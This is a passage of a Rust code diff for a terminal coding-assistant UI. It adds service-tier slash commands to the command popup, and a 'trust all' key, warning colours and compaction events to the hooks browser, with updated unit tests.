@@ -48,13 +52,13 @@ pub(crate) struct CommandPopupFlags {
pub(crate) side_conversation_active: bool,
}
impl From<CommandPopupFlags> for slash_commands::BuiltinCommandFlags {
impl From<CommandPopupFlags> for BuiltinCommandFlags {
fn from(value: CommandPopupFlags) -> Self {
Self {
collaboration_modes_enabled: value.collaboration_modes_enabled,
connectors_enabled: value.connectors_enabled,
plugins_command_enabled: value.plugins_command_enabled,
fast_command_enabled: value.fast_command_enabled,
service_tier_commands_enabled: value.service_tier_commands_enabled,
goal_command_enabled: value.goal_command_enabled,
personality_command_enabled: value.personality_command_enabled,
realtime_conversation_enabled: value.realtime_conversation_enabled,
@@ -66,17 +70,23 @@ impl From<CommandPopupFlags> for slash_commands::BuiltinCommandFlags {
}
impl CommandPopup {
pub(crate) fn new(flags: CommandPopupFlags) -> Self {
pub(crate) fn new(
flags: CommandPopupFlags,
service_tier_commands: Vec<ServiceTierCommand>,
) -> Self {
// Keep built-in availability in sync with the composer.
let builtins: Vec<(&'static str, SlashCommand)> =
slash_commands::builtins_for_input(flags.into())
.into_iter()
.filter(|(name, _)| !name.starts_with("debug"))
.filter(|(_, cmd)| *cmd != SlashCommand::Apps)
.collect();
let commands = commands_for_input(flags.into(), &service_tier_commands)
.into_iter()
.filter_map(|command| match command {
SlashCommandItem::Builtin(cmd) => (!cmd.command().starts_with("debug")
&& cmd != SlashCommand::Apps)
.then_some(CommandItem::Builtin(cmd)),
SlashCommandItem::ServiceTier(command) => Some(CommandItem::ServiceTier(command)),
})
.collect();
Self {
command_filter: String::new(),
builtins,
commands,
state: ScrollState::new(),
}
}
@@ -133,11 +143,11 @@ impl CommandPopup {
let filter = self.command_filter.trim();
let mut out: Vec<(CommandItem, Option<Vec<usize>>)> = Vec::new();
if filter.is_empty() {
for (_, cmd) in self.builtins.iter() {
if ALIAS_COMMANDS.contains(cmd) {
for command in self.commands.iter() {
if matches!(command, CommandItem::Builtin(cmd) if ALIAS_COMMANDS.contains(cmd)) {
continue;
}
out.push((CommandItem::Builtin(*cmd), None));
out.push((command.clone(), None));
}
return out;
}
@@ -169,8 +179,9 @@ impl CommandPopup {
}
};
for (_, cmd) in self.builtins.iter() {
push_match(CommandItem::Builtin(*cmd), cmd.command(), None, 0);
for command in self.commands.iter() {
let display = command.command();
push_match(command.clone(), display, None, 0);
}
out.extend(exact);
@@ -189,9 +200,8 @@ impl CommandPopup {
matches
.into_iter()
.map(|(item, indices)| {
let CommandItem::Builtin(cmd) = item;
let name = format!("/{}", cmd.command());
let description = cmd.description().to_string();
let name = format!("/{}", item.command());
let description = item.description().to_string();
GenericDisplayRow {
name,
name_prefix_spans: Vec::new(),
@@ -227,7 +237,23 @@ impl CommandPopup {
let matches = self.filtered_items();
self.state
.selected_idx
.and_then(|idx| matches.get(idx).copied())
.and_then(|idx| matches.get(idx).cloned())
}
}
impl CommandItem {
pub(crate) fn command(&self) -> &str {
match self {
Self::Builtin(cmd) => cmd.command(),
Self::ServiceTier(command) => &command.name,
}
}
fn description(&self) -> &str {
match self {
Self::Builtin(cmd) => cmd.description(),
Self::ServiceTier(command) => &command.description,
}
}
}
@@ -255,7 +281,7 @@ mod tests {
#[test]
fn filter_includes_init_when_typing_prefix() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
// Simulate the composer line starting with '/in' so the popup filters
// matching commands by prefix.
popup.on_composer_text_change("/in".to_string());
@@ -265,6 +291,7 @@ mod tests {
let matches = popup.filtered_items();
let has_init = matches.iter().any(|item| match item {
CommandItem::Builtin(cmd) => cmd.command() == "init",
CommandItem::ServiceTier(_) => false,
});
assert!(
has_init,
@@ -274,7 +301,7 @@ mod tests {
#[test]
fn selecting_init_by_exact_match() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/init".to_string());
// When an exact match exists, the selected command should be that
@@ -282,57 +309,106 @@ mod tests {
let selected = popup.selected_item();
match selected {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "init"),
Some(CommandItem::ServiceTier(command)) => {
panic!("expected init command, got service tier {command:?}")
}
None => panic!("expected a selected command for exact match"),
}
}
#[test]
fn model_is_first_suggestion_for_mo() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/mo".to_string());
let matches = popup.filtered_items();
match matches.first() {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "model"),
Some(CommandItem::ServiceTier(command)) => {
panic!("expected model command, got service tier {command:?}")
}
None => panic!("expected at least one match for '/mo'"),
}
}
#[test]
fn service_tier_command_uses_catalog_name_and_description() {
let mut popup = CommandPopup::new(
CommandPopupFlags {
service_tier_commands_enabled: true,
..CommandPopupFlags::default()
},
vec![ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "Fastest inference with increased plan usage".to_string(),
}],
);
popup.on_composer_text_change("/fa".to_string());
match popup.selected_item() {
Some(CommandItem::ServiceTier(command)) => assert_eq!(
command,
ServiceTierCommand {
id: "priority".to_string(),
name: "fast".to_string(),
description: "Fastest inference with increased plan usage".to_string(),
}
),
other => panic!("expected fast service tier to be selected, got {other:?}"),
}
let rows = popup.rows_from_matches(popup.filtered());
assert_eq!(
rows.first().and_then(|row| row.description.as_deref()),
Some("Fastest inference with increased plan usage")
);
}
#[test]
fn filtered_commands_keep_presentation_order_for_prefix() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/m".to_string());
let cmds: Vec<&str> = popup
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
assert_eq!(cmds, vec!["model", "memories", "mention", "mcp"]);
assert_eq!(
cmds,
vec![
"model".to_string(),
"memories".to_string(),
"mention".to_string(),
"mcp".to_string()
]
);
}
#[test]
fn prefix_filter_limits_matches_for_ac() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/ac".to_string());
let cmds: Vec<&str> = popup
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
assert!(
!cmds.contains(&"compact"),
!cmds.iter().any(|cmd| cmd == "compact"),
"expected prefix search for '/ac' to exclude 'compact', got {cmds:?}"
);
}
#[test]
fn quit_hidden_in_empty_filter_but_shown_for_prefix() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/".to_string());
let items = popup.filtered_items();
assert!(!items.contains(&CommandItem::Builtin(SlashCommand::Quit)));
@@ -344,159 +420,187 @@ mod tests {
#[test]
fn collab_command_hidden_when_collaboration_modes_disabled() {
let mut popup = CommandPopup::new(CommandPopupFlags::default());
let mut popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
popup.on_composer_text_change("/".to_string());
let cmds: Vec<&str> = popup
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
assert!(
!cmds.contains(&"collab"),
!cmds.iter().any(|cmd| cmd == "collab"),
"expected '/collab' to be hidden when collaboration modes are disabled, got {cmds:?}"
);
assert!(
!cmds.contains(&"plan"),
!cmds.iter().any(|cmd| cmd == "plan"),
"expected '/plan' to be hidden when collaboration modes are disabled, got {cmds:?}"
);
}
#[test]
fn collab_command_visible_when_collaboration_modes_enabled() {
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
});
let mut popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
service_tier_commands_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
},
Vec::new(),
);
popup.on_composer_text_change("/collab".to_string());
match popup.selected_item() {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "collab"),
Some(CommandItem::ServiceTier(command)) => {
panic!("expected collab command, got service tier {command:?}")
}
other => panic!("expected collab to be selected for exact match, got {other:?}"),
}
}
#[test]
fn plan_command_visible_when_collaboration_modes_enabled() {
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
});
let mut popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
service_tier_commands_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
},
Vec::new(),
);
popup.on_composer_text_change("/plan".to_string());
match popup.selected_item() {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "plan"),
Some(CommandItem::ServiceTier(command)) => {
panic!("expected plan command, got service tier {command:?}")
}
other => panic!("expected plan to be selected for exact match, got {other:?}"),
}
}
#[test]
fn personality_command_hidden_when_disabled() {
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
goal_command_enabled: false,
personality_command_enabled: false,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
});
let mut popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
service_tier_commands_enabled: false,
goal_command_enabled: false,
personality_command_enabled: false,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
},
Vec::new(),
);
popup.on_composer_text_change("/pers".to_string());
let cmds: Vec<&str> = popup
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
assert!(
!cmds.contains(&"personality"),
!cmds.iter().any(|cmd| cmd == "personality"),
"expected '/personality' to be hidden when disabled, got {cmds:?}"
);
}
#[test]
fn personality_command_visible_when_enabled() {
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
});
let mut popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled: true,
connectors_enabled: false,
plugins_command_enabled: false,
service_tier_commands_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: false,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
},
Vec::new(),
);
popup.on_composer_text_change("/personality".to_string());
match popup.selected_item() {
Some(CommandItem::Builtin(cmd)) => assert_eq!(cmd.command(), "personality"),
Some(CommandItem::ServiceTier(command)) => {
panic!("expected personality command, got service tier {command:?}")
}
other => panic!("expected personality to be selected for exact match, got {other:?}"),
}
}
#[test]
fn settings_command_hidden_when_audio_device_selection_is_disabled() {
let mut popup = CommandPopup::new(CommandPopupFlags {
collaboration_modes_enabled: false,
connectors_enabled: false,
plugins_command_enabled: false,
fast_command_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: true,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
});
let mut popup = CommandPopup::new(
CommandPopupFlags {
collaboration_modes_enabled: false,
connectors_enabled: false,
plugins_command_enabled: false,
service_tier_commands_enabled: false,
goal_command_enabled: false,
personality_command_enabled: true,
realtime_conversation_enabled: true,
audio_device_selection_enabled: false,
windows_degraded_sandbox_active: false,
side_conversation_active: false,
},
Vec::new(),
);
popup.on_composer_text_change("/aud".to_string());
let cmds: Vec<&str> = popup
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
assert!(
!cmds.contains(&"settings"),
!cmds.iter().any(|cmd| cmd == "settings"),
"expected '/settings' to be hidden when audio device selection is disabled, got {cmds:?}"
);
}
#[test]
fn debug_commands_are_hidden_from_popup() {
let popup = CommandPopup::new(CommandPopupFlags::default());
let cmds: Vec<&str> = popup
let popup = CommandPopup::new(CommandPopupFlags::default(), Vec::new());
let cmds: Vec<String> = popup
.filtered_items()
.into_iter()
.map(|item| match item {
CommandItem::Builtin(cmd) => cmd.command(),
CommandItem::Builtin(cmd) => cmd.command().to_string(),
CommandItem::ServiceTier(command) => command.name,
})
.collect();
@@ -1,8 +1,8 @@
use codex_app_server_protocol::HookErrorInfo;
use codex_app_server_protocol::HookEventName;
use codex_app_server_protocol::HookMetadata;
use codex_app_server_protocol::HookSource;
use codex_app_server_protocol::HookTrustStatus;
use codex_app_server_protocol::HooksListEntry;
use crossterm::event::KeyCode;
use crossterm::event::KeyEvent;
use crossterm::event::KeyModifiers;
@@ -10,6 +10,7 @@ use ratatui::buffer::Buffer;
use ratatui::layout::Constraint;
use ratatui::layout::Layout;
use ratatui::layout::Rect;
use ratatui::style::Styled;
use ratatui::style::Stylize;
use ratatui::text::Line;
use ratatui::text::Span;
@@ -25,10 +26,13 @@ use super::scroll_state::ScrollState;
use super::selection_popup_common::render_menu_surface;
use crate::app_event::AppEvent;
use crate::app_event_sender::AppEventSender;
use crate::hooks_rpc::HookTrustUpdate;
use crate::hooks_rpc::hook_needs_review;
use crate::key_hint;
use crate::line_truncation::truncate_line_with_ellipsis_if_overflow;
use crate::render::renderable::Renderable;
use crate::status::format_directory_display;
use crate::style::accent_style;
const EVENT_COLUMN_WIDTH: usize = 22;
const COUNT_COLUMN_WIDTH: usize = 12;
@@ -41,9 +45,7 @@ enum HooksBrowserPage {
}
pub(crate) struct HooksBrowserView {
hooks: Vec<HookMetadata>,
warnings: Vec<String>,
errors: Vec<HookErrorInfo>,
entry: HooksListEntry,
page: HooksBrowserPage,
state: ScrollState,
complete: bool,
@@ -51,17 +53,28 @@ pub(crate) struct HooksBrowserView {
}
impl HooksBrowserView {
#[cfg(test)]
pub(crate) fn new(
mut hooks: Vec<HookMetadata>,
hooks: Vec<HookMetadata>,
warnings: Vec<String>,
errors: Vec<HookErrorInfo>,
errors: Vec<codex_app_server_protocol::HookErrorInfo>,
app_event_tx: AppEventSender,
) -> Self {
hooks.sort_by_key(|hook| hook.display_order);
Self::from_entry(
HooksListEntry {
cwd: std::path::PathBuf::new(),
hooks,
warnings,
errors,
},
app_event_tx,
)
}
pub(crate) fn from_entry(mut entry: HooksListEntry, app_event_tx: AppEventSender) -> Self {
entry.hooks.sort_by_key(|hook| hook.display_order);
let mut view = Self {
hooks,
warnings,
errors,
entry,
page: HooksBrowserPage::Events,
state: ScrollState::new(),
complete: false,
@@ -83,16 +96,19 @@ impl HooksBrowserView {
.map(|event_name| {
let event_name: HookEventName = event_name.into();
let installed = self
.entry
.hooks
.iter()
.filter(|hook| hook.event_name == event_name)
.count();
let active = self
.entry
.hooks
.iter()
.filter(|hook| hook.event_name == event_name && hook_is_active(hook))
.count();
let needs_review = self
.entry
.hooks
.iter()
.filter(|hook| hook.event_name == event_name && hook_needs_review(hook))
@@ -108,7 +124,8 @@ impl HooksBrowserView {
}
fn handlers_for_event(&self, event_name: HookEventName) -> impl Iterator<Item = &HookMetadata> {
self.hooks
self.entry
.hooks
.iter()
.filter(move |hook| hook.event_name == event_name)
}
@@ -122,7 +139,8 @@ impl HooksBrowserView {
fn selected_hook_index(&self, event_name: HookEventName) -> Option<usize> {
let selected_visible_idx = self.state.selected_idx?;
self.hooks
self.entry
.hooks
.iter()
.enumerate()
.filter(|(_, hook)| hook.event_name == event_name)
@@ -132,7 +150,7 @@ impl HooksBrowserView {
fn selected_hook(&self, event_name: HookEventName) -> Option<&HookMetadata> {
self.selected_hook_index(event_name)
.and_then(|idx| self.hooks.get(idx))
.and_then(|idx| self.entry.hooks.get(idx))
}
fn move_up(&mut self) {
@@ -173,7 +191,7 @@ impl HooksBrowserView {
let Some(idx) = self.selected_hook_index(event_name) else {
return;
};
let Some(hook) = self.hooks.get_mut(idx) else {
let Some(hook) = self.entry.hooks.get_mut(idx) else {
return;
};
if hook.is_managed {
@@ -194,7 +212,7 @@ impl HooksBrowserView {
let Some(idx) = self.selected_hook_index(event_name) else {
return;
};
let Some(hook) = self.hooks.get_mut(idx) else {
let Some(hook) = self.entry.hooks.get_mut(idx) else {
return;
};
if !hook_needs_review(hook) {
@@ -208,6 +226,24 @@ impl HooksBrowserView {
});
}
fn trust_all_hooks(&mut self) {
let mut updates = Vec::new();
for hook in &mut self.entry.hooks {
if !hook_needs_review(hook) {
continue;
}
hook.trust_status = HookTrustStatus::Trusted;
updates.push(HookTrustUpdate {
key: hook.key.clone(),
current_hash: hook.current_hash.clone(),
});
}
if !updates.is_empty() {
self.app_event_tx.send(AppEvent::TrustHooks { updates });
}
}
fn close(&mut self) {
self.complete = true;
}
@@ -236,23 +272,27 @@ impl HooksBrowserView {
]
}
fn review_needed_total_count(&self) -> usize {
self.entry
.hooks
.iter()
.filter(|hook| hook_needs_review(hook))
.count()
}
#[allow(clippy::disallowed_methods)]
fn handler_header_lines(
event_name: HookEventName,
review_needed_count: usize,
) -> Vec<Line<'static>> {
let mut lines = vec![format!("{} hooks", event_label(event_name)).bold().into()];
match review_needed_count {
0 => lines.push(
match review_needed_message(review_needed_count) {
None => lines.push(
"Turn hooks on or off. Your changes are saved automatically."
.dim()
.into(),
),
1 => lines.push("1 hook needs review before it can run.".dim().into()),
count => lines.push(
format!("{count} hooks need review before they can run.")
.dim()
.into(),
),
Some(message) => lines.push(message.yellow().into()),
}
lines
}
@@ -263,6 +303,7 @@ impl HooksBrowserView {
.count()
}
#[allow(clippy::disallowed_methods)]
fn event_table_lines(&self) -> Vec<Line<'static>> {
let rows = self.event_rows();
let show_review = rows.iter().any(|row| row.needs_review > 0);
@@ -278,64 +319,59 @@ impl HooksBrowserView {
header.push("Description".into());
lines.push(Line::from(header));
for (idx, row) in rows.into_iter().enumerate() {
if self.state.selected_idx == Some(idx) {
let mut row_line = vec![
Span::from(format!(
"{:<EVENT_COLUMN_WIDTH$}",
event_label(row.event_name)
))
.cyan()
.bold(),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.installed))
.cyan()
.bold(),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.active))
.cyan()
.bold(),
];
if show_review {
row_line.push(
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.needs_review))
.cyan()
.bold(),
);
}
row_line.push(Span::from(event_description(row.event_name)).cyan().bold());
lines.push(Line::from(row_line));
} else {
let mut row_line = vec![
Span::from(format!(
"{:<EVENT_COLUMN_WIDTH$}",
event_label(row.event_name)
)),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.installed)).dim(),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.active)).dim(),
];
if show_review {
row_line.push(
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.needs_review)).dim(),
);
}
row_line.push(Span::from(event_description(row.event_name)).dim());
lines.push(Line::from(row_line));
let selected = self.state.selected_idx == Some(idx);
let needs_review = row.needs_review > 0;
let mut row_line = vec![
Span::from(format!(
"{:<EVENT_COLUMN_WIDTH$}",
event_label(row.event_name)
)),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.installed)),
Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.active)),
];
if show_review {
let review_count = Span::from(format!("{:<COUNT_COLUMN_WIDTH$}", row.needs_review));
row_line.push(if needs_review {
review_count.yellow()
} else {
review_count
});
}
row_line.push(Span::from(event_description(row.event_name)));
if selected {
let style = accent_style();
for span in &mut row_line {
*span = span.clone().set_style(style);
}
} else {
row_line[1] = row_line[1].clone().dim();
row_line[2] = row_line[2].clone().dim();
if show_review && !needs_review {
row_line[3] = row_line[3].clone().dim();
}
let description_idx = row_line.len() - 1;
row_line[description_idx] = row_line[description_idx].clone().dim();
}
lines.push(Line::from(row_line));
}
lines
}
fn event_issue_lines(&self) -> Vec<Line<'static>> {
let mut lines = Vec::new();
if self.warnings.is_empty() && self.errors.is_empty() {
if self.entry.warnings.is_empty() && self.entry.errors.is_empty() {
return lines;
}
lines.push("Issues".bold().into());
lines.extend(
self.warnings
self.entry
.warnings
.iter()
.map(|warning| format!("⚠ {warning}").into()),
);
lines.extend(self.errors.iter().map(|error| {
lines.extend(self.entry.errors.iter().map(|error| {
format!("■ {}: {}", error.path.display(), error.message)
.red()
.into()
@@ -343,10 +379,16 @@ impl HooksBrowserView {
lines
}
#[allow(clippy::disallowed_methods)]
fn event_page_lines(&self) -> Vec<Line<'static>> {
let mut lines = Self::event_header_lines();
lines.push(Line::default());
if let Some(message) = review_needed_message(self.review_needed_total_count()) {
lines.push(format!("⚠ {message}").yellow().into());
lines.push(Line::default());
}
let issue_lines = self.event_issue_lines();
if !issue_lines.is_empty() {
lines.extend(issue_lines);
@@ -357,6 +399,7 @@ impl HooksBrowserView {
lines
}
#[allow(clippy::disallowed_methods)]
fn handler_row_lines(&self, event_name: HookEventName, width: usize) -> Vec<Line<'static>> {
self.handlers_for_event(event_name)
.enumerate()
@@ -379,11 +422,17 @@ impl HooksBrowserView {
};
let mut line = Line::from(row);
line = truncate_line_with_ellipsis_if_overflow(line, width);
if hook.is_managed {
line = line.dim();
}
let needs_review = hook_needs_review(hook);
if self.state.selected_idx == Some(idx) {
line = line.cyan().bold();
if needs_review {
line = line.yellow().bold();
} else {
line = line.patch_style(accent_style());
}
} else if needs_review {
line = line.yellow();
} else if hook.is_managed {
line = line.dim();
}
line
})
@@ -426,6 +475,15 @@ impl HooksBrowserView {
height: area.height,
};
let footer = match self.page {
HooksBrowserPage::Events if self.review_needed_total_count() > 0 => Line::from(vec![
"Press ".into(),
key_hint::plain(KeyCode::Char('t')).into(),
" to trust all; ".into(),
key_hint::plain(KeyCode::Enter).into(),
" to review hooks; ".into(),
key_hint::plain(KeyCode::Esc).into(),
" to close".into(),
]),
HooksBrowserPage::Events => Line::from(vec![
"Press ".into(),
key_hint::plain(KeyCode::Enter).into(),
@@ -519,11 +577,10 @@ impl BottomPaneView for HooksBrowserView {
code: KeyCode::Char('t'),
modifiers: KeyModifiers::NONE,
..
} => {
if let HooksBrowserPage::Handlers(event_name) = self.page {
self.trust_selected_hook(event_name);
}
}
} => match self.page {
HooksBrowserPage::Events => self.trust_all_hooks(),
HooksBrowserPage::Handlers(event_name) => self.trust_selected_hook(event_name),
},
KeyEvent {
code: KeyCode::Esc, ..
} => match self.page {
@@ -634,6 +691,14 @@ fn hook_is_active(hook: &HookMetadata) -> bool {
)
}
fn review_needed_message(count: usize) -> Option<String> {
match count {
0 => None,
1 => Some("1 hook needs review before it can run.".to_string()),
count => Some(format!("{count} hooks need review before they can run.")),
}
}
struct EventRow {
event_name: HookEventName,
installed: usize,
@@ -641,13 +706,6 @@ struct EventRow {
needs_review: usize,
}
fn hook_needs_review(hook: &HookMetadata) -> bool {
matches!(
hook.trust_status,
HookTrustStatus::Untrusted | HookTrustStatus::Modified
)
}
fn hook_trust_label(status: HookTrustStatus) -> &'static str {
match status {
HookTrustStatus::Managed => "Managed",
@@ -662,6 +720,8 @@ fn event_label(event_name: HookEventName) -> &'static str {
HookEventName::PreToolUse => "PreToolUse",
HookEventName::PermissionRequest => "PermissionRequest",
HookEventName::PostToolUse => "PostToolUse",
HookEventName::PreCompact => "PreCompact",
HookEventName::PostCompact => "PostCompact",
HookEventName::SessionStart => "SessionStart",
HookEventName::UserPromptSubmit => "UserPromptSubmit",
HookEventName::Stop => "Stop",
@@ -673,6 +733,8 @@ fn event_description(event_name: HookEventName) -> &'static str {
HookEventName::PreToolUse => "Before a tool executes",
HookEventName::PermissionRequest => "When permission is requested",
HookEventName::PostToolUse => "After a tool executes",
HookEventName::PreCompact => "Before context compaction",
HookEventName::PostCompact => "After context compaction",
HookEventName::SessionStart => "When a new session starts",
HookEventName::UserPromptSubmit => "When the user submits a prompt",
HookEventName::Stop => "Right before Codex ends its turn",
@@ -783,6 +845,7 @@ mod tests {
use crate::test_support::PathBufExt;
use crate::test_support::test_path_buf;
use crate::test_support::test_path_display;
use codex_app_server_protocol::HookErrorInfo;
use codex_app_server_protocol::HookEventName;
use codex_app_server_protocol::HookHandlerType;
use codex_app_server_protocol::HookMetadata;
@@ -793,6 +856,8 @@ mod tests {
use insta::assert_snapshot;
use ratatui::buffer::Buffer;
use ratatui::layout::Rect;
use ratatui::style::Color;
use ratatui::style::Modifier;
use tokio::sync::mpsc::unbounded_channel;
fn render_lines(view: &HooksBrowserView, width: u16) -> String {
@@ -822,6 +887,14 @@ mod tests {
.join("\n")
}
fn render_buffer(view: &HooksBrowserView, width: u16) -> Buffer {
let height = view.desired_height(width);
let area = Rect::new(0, 0, width, height);
let mut buf = Buffer::empty(area);
view.render(area, &mut buf);
buf
}
#[allow(clippy::too_many_arguments)]
fn hook(
key: &str,
@@ -904,6 +977,26 @@ mod tests {
assert_snapshot!("hooks_browser_events", render_lines(&view, /*width*/ 112));
}
#[test]
fn selected_event_rows_use_the_shared_accent_style() {
let view = view();
let buf = render_buffer(&view, /*width*/ 112);
let expected = accent_style();
let selected_cell = buf
.content
.iter()
.find(|cell| {
let style = cell.style();
cell.symbol() == "P"
&& style.fg == expected.fg
&& style.add_modifier.contains(Modifier::BOLD)
})
.expect("selected event row should use the shared accent style");
assert_eq!(selected_cell.style().fg, expected.fg);
}
#[test]
fn renders_event_browser_with_review_column_when_needed() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
@@ -929,6 +1022,16 @@ mod tests {
"hooks_browser_events_with_review_column",
render_lines(&view, /*width*/ 112)
);
assert_eq!(
view.event_table_lines()[1].spans[3].style.fg,
Some(Color::Cyan)
);
assert!(
view.event_table_lines()[1].spans[3]
.style
.add_modifier
.contains(ratatui::style::Modifier::BOLD)
);
}
#[test]
@@ -985,6 +1088,62 @@ mod tests {
);
}
#[test]
fn review_needed_handler_rows_use_warning_color() {
let (tx_raw, _rx) = unbounded_channel::<AppEvent>();
let mut untrusted_hook = hook(
"path:untrusted",
HookEventName::PreToolUse,
HookSource::User,
/*plugin_id*/ None,
"~/bin/untrusted.sh",
/*enabled*/ false,
/*is_managed*/ false,
/*display_order*/ 1,
);
untrusted_hook.trust_status = HookTrustStatus::Untrusted;
let mut view = HooksBrowserView::new(
vec![
hook(
"path:trusted",
HookEventName::PreToolUse,
HookSource::User,
/*plugin_id*/ None,
"~/bin/trusted.sh",
/*enabled*/ true,
/*is_managed*/ false,
/*display_order*/ 0,
),
untrusted_hook,
],
Vec::new(),
Vec::new(),
AppEventSender::new(tx_raw),
);
view.handle_key_event(KeyEvent::from(KeyCode::Enter));
assert_eq!(
view.handler_row_lines(HookEventName::PreToolUse, /*width*/ 112)[1]
.style
.fg,
Some(Color::Yellow)
);
}
#[test]
fn review_needed_handler_header_uses_warning_color() {
assert_eq!(
HooksBrowserView::handler_header_lines(
HookEventName::PreToolUse,
/*review_needed_count*/ 1,
)[1]
.spans[0]
.style
.fg,
Some(Color::Yellow)
);
}
#[test]
fn renders_managed_handler_without_toggle_hint() {
let mut view = view();
@@ -1343,7 +1502,7 @@ mod tests {
view.handle_key_event(KeyEvent::from(KeyCode::Enter));
view.handle_key_event(KeyEvent::from(KeyCode::Char('t')));
let hook = view.hooks.first().expect("trusted hook");
let hook = view.entry.hooks.first().expect("trusted hook");
assert!(!hook.enabled);
assert_eq!(hook.trust_status, HookTrustStatus::Trusted);
match rx.try_recv().expect("trust event") {
@@ -1358,6 +1517,84 @@ mod tests {
}
}
#[test]
fn trust_key_on_event_page_trusts_all_review_needed_hooks() {
let (tx_raw, mut rx) = unbounded_channel::<AppEvent>();
let mut untrusted_hook = hook(
"path:untrusted",
HookEventName::PreToolUse,
HookSource::User,
/*plugin_id*/ None,
"/tmp/pre-tool-use-check.sh",
/*enabled*/ false,
/*is_managed*/ false,
/*display_order*/ 0,
);
untrusted_hook.trust_status = HookTrustStatus::Untrusted;
let mut modified_hook = hook(
"path:modified",
HookEventName::Stop,
HookSource::User,
/*plugin_id*/ None,
"/tmp/stop-check.sh",
/*enabled*/ false,
/*is_managed*/ false,
/*display_order*/ 1,
);
modified_hook.trust_status = HookTrustStatus::Modified;
let mut view = HooksBrowserView::new(
vec![
untrusted_hook,
